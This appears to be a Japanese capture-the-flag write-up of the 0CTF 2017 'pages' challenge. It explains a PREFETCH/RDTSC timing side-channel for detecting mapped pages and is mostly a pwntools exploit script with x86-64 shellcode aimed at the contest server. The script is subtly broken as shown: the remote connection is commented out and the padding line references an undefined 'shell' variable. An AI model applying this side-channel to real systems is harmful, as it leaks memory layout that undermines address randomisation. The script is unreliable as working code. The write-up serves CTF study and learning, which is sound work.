0CTF 2017 Quals pages writeup
はじめに
期間中に解けなかったのが悔しかったので、writeup見ながら解いた。
https://gruss.cc/files/prefetch.pdf
が頭にあれば解けたかもしれない。というか元ネタがこれだと思う。期間中、cacheかTLB関連の何かを使うのかなぁと予想していたが、PREFETCH命令がmappingされていないページに対して実行されるとNOPになることは知らなかった。公式リファレンスにも載ってなかったとはず。有効なページと無効なページでは、実行時間が変わってくるのでRDTSC命令を使って経過クロックを比較してやればいい。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "202.120.7.198" RPORT = 13579 LHOST = "127.0.0.1" LPORT = 13579 # libc = ELF('') elf = ELF('./pages_d9a22948ada76c76fcd1658457d51b61') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': print "A" #conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./pages_d9a22948ada76c76fcd1658457d51b61'], execute=execute) else: conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61']) # conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'], env={'LD_PRELOAD': ''}) # preparing for exploitation #log.info('Pwning') shellcode = ''' mov r8, 0x0 mov r9, 65 mov r10, 0x0000000200000000 xor rax, rax xor rbx, rbx xor rcx, rcx xor rdx, rdx loop: mov rax, r8 shl rax, 13 add rax, r10 mov rdi, rax call measure mov r14, rax mov rax, r8 shl rax, 13 mov rbx, 0x01 shl rbx, 12 add rax, rbx add rax, r10 mov rdi, rax call measure mov r15, rax cmp r14d, r15d ja one zero: mov rax, 0x0000000300000000 add rax, r8 mov BYTE PTR[rax], 0x00 jmp hoge one: mov rax, 0x0000000300000000 add rax, r8 mov BYTE PTR[rax], 0x01 hoge: inc r8 cmp r8, r9 je finish jmp loop measure: mov rbx, 0x10000 rdtsc mov ecx, eax measure_loop: dec rbx test rbx, rbx je measure_done PREFETCHT0 [rdi] jmp measure_loop measure_done: rdtsc sub eax, ecx ret finish: ret ''' payload = asm(shellcode) payload = shell.ljust( 0x4000, "\x90") conn.send(p32(0x4000)) conn.sendline(payload) conn.interactive()